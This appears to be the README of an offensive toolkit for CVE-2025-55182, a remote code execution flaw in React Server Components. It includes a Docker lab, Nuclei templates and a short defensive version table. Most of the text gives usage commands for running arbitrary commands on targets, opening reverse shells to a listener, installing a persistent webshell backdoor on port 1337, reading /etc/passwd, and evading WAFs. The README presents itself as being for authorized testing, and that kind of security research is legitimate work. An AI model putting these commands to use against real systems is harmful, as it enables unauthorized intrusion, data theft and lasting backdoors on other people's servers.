Kit de pruebas de seguridad CVE-2025-55182: escáner CLI + extensión de Chrome + plantillas de Nuclei + laboratorio Docker.
CVE-2025-55182 Scanner & Exploit Toolkit for Next.js/React Server Components RCE.
React2Shell/
├── browser-extension/ # Chrome extension for browser-based detection
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # Command-line scanner & exploit tool
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # Learning-focused documentation
│ ├── README.md # Learning path index
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # Docker lab environment for testing
│ ├── vulnerable/ # Vulnerable Next.js app (React 19.2.0)
│ ├── patched/ # Patched Next.js app (React 19.2.1)
│ ├── waf/ # ModSecurity WAF container
│ ├── waku-app/ # Vulnerable Waku app (React 19.2.0)
│ ├── react-router-app/ # Vulnerable React Router app (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # Nuclei templates
├── CVE-2025-55182.yaml # RCE detection (executes code)
└── CVE-2025-55182-safe.yaml # Safe side-channel detection
cd cli
pip install -r requirements.txt
# Scan a target
python react2shell.py https://target.com
# Execute command
python react2shell.py https://target.com -c "id"
# Interactive shell
python react2shell.py https://target.com -i
chrome://extensions/browser-extensioncd lab
docker-compose up -d
# Exploitable targets:
# Next.js Vulnerable: http://localhost:3011 ← Full RCE
# Waku Vulnerable: http://localhost:3014 ← RCE (blind - no HTTP output)
# React Router: http://localhost:3015 ← Full RCE (ESM)
# Protected targets:
# Next.js Patched: http://localhost:3012 ← Secure
# WAF Protected: http://localhost:3013 ← ModSecurity blocks exploits
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com
cli/react2shell.py)--detect) - Detecta automáticamente el framework objetivo-E) - Descubre endpoints RSC automáticamente-c) - Ejecuta comandos arbitrarios-i) - Sesión de comandos persistente-r) - Múltiples tipos: nc, bash, perl, python, ruby--webshell) - Instalación persistente de backdoor-f) - Lee archivos remotos directamente-L) - Comprueba package.json en busca de versiones vulnerables-w), codificación Unicode (-u), específico de Vercel (-V)-x) - Enruta a través de Burp Suite u otros proxies-s) - Detección por canal lateral sin ejecución de códigobrowser-extension/)lab/)/RSC/F/{x}/{y}.txtprocess.getBuiltinModule() compatible con ESM# Basic scan (auto-detects framework)
python react2shell.py https://target.com
# Detect framework and enumerate endpoints
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# Execute command on different frameworks
python react2shell.py https://target.com -c "id" # Next.js (auto)
python react2shell.py https://target.com -F waku -c "id" # Waku (blind RCE)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# Lab examples with output
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# Execute command with all WAF bypasses
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# Interactive shell through proxy
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# Install in-memory webshell (creates backdoor on port 1337)
python react2shell.py https://target.com --webshell mypassword
# Access: curl 'http://target:1337/?p=mypassword&cmd=id'
# Reverse shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# Scan local project for vulnerable versions
python react2shell.py -L /path/to/project
# Batch scan with output
python react2shell.py targets.txt -t 20 -o results.json -v
Execution Options:
-c, --cmd Command to execute
-i, --interactive Interactive shell session
-r, --reverse Reverse shell mode
-l, --lhost Listener host
-p, --lport Listener port
-S, --shell-type Shell type (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file Read a remote file
Scanning Options:
-P, --path Paths to test (comma-separated or file)
-t, --threads Number of threads (default: 10)
-T, --timeout Request timeout in seconds (default: 10)
-s, --safe Safe mode (no code execution)
-L, --local Scan local project directory
-F, --framework Target framework (auto, nextjs, waku, react-router, expo)
-E, --enumerate Enumerate RSC endpoints before exploitation
--detect Only detect framework and list endpoints
--webshell Install in-memory webshell on port 1337
--rce RCE proof-of-concept mode (default: safe mode)
Bypass Options:
-w, --waf-bypass Junk data padding
-W, --waf-size Junk size in KB (default: 128)
-u, --unicode Unicode encoding bypass
-V, --vercel-bypass Vercel-specific bypass
--windows Windows PowerShell payloads
Request Options:
-x, --proxy Proxy URL (e.g., http://127.0.0.1:8080)
-H, --header Custom headers
-A, --user-agent Custom User-Agent
-k, --insecure Disable SSL verification
Output Options:
-o, --output Save results to JSON
-v, --verbose Verbose output with version detection
-q, --quiet Only show vulnerable targets
--no-color Disable colors
--no-banner Hide banner
| Campo | Valor |
|---|---|
| CVSS | 10.0 (Crítico) |
| Impacto | Ejecución remota de código no autenticada |
| Afectados | Cualquier framework RSC que use versiones vulnerables de React |
| Mecanismo | Contaminación de prototipos a través de React Flight Protocol |
| Framework | Vulnerable | Parcheado |
|---|---|---|
| React | 19.0.0 - 19.2.0 | 19.2.1+ |
| Next.js | 14.0.0 - 15.4.7 | 15.4.8+ |
| Waku | < 0.27.2 | 0.27.2+ |
| React Router | 7.0.0 - 7.5.0 (vista previa de RSC) | 7.5.1+ |
| Expo | RSC experimental | Actualizar React |
| @vitejs/plugin-rsc | Todos con React vulnerable | Actualizar React |
| @parcel/rsc | Todos con React vulnerable | Actualizar React |
| RedwoodJS (rwsdk) | Todos con React vulnerable | Actualizar React |
Este kit es únicamente para pruebas de seguridad autorizadas. Úsalo solo en sistemas que poseas o para los que tengas permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal.
CVE-2025-55182 | CVSS 10.0 | Solo para pruebas de seguridad autorizadas